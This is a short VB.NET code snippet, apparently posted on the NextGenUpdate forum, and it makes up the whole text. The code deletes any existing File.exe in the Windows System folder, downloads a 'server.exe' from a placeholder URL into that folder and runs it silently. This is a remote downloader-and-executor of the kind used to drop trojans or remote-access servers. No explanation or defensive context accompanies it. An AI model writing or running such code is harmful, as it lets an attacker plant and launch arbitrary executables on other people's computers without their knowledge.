Dim SaveWhere As String = Environment.GetFolderPath(Environment.SpecialFolder.System) & "\File.exe"
If IO.File.Exists(SaveWhere) = True Then
IO.File.Delete(SaveWhere)
My.Computer.Network.DownloadFile("https://www.yoururl.com/server.exe", SaveWhere)
Process.Start(SaveWhere)
Else
My.Computer.Network.DownloadFile("https://www.yoururl.com/server.exe", SaveWhere)
Process.Start(SaveWhere)
End If
Copyright © 2024, NextGenUpdate.
All Rights Reserved.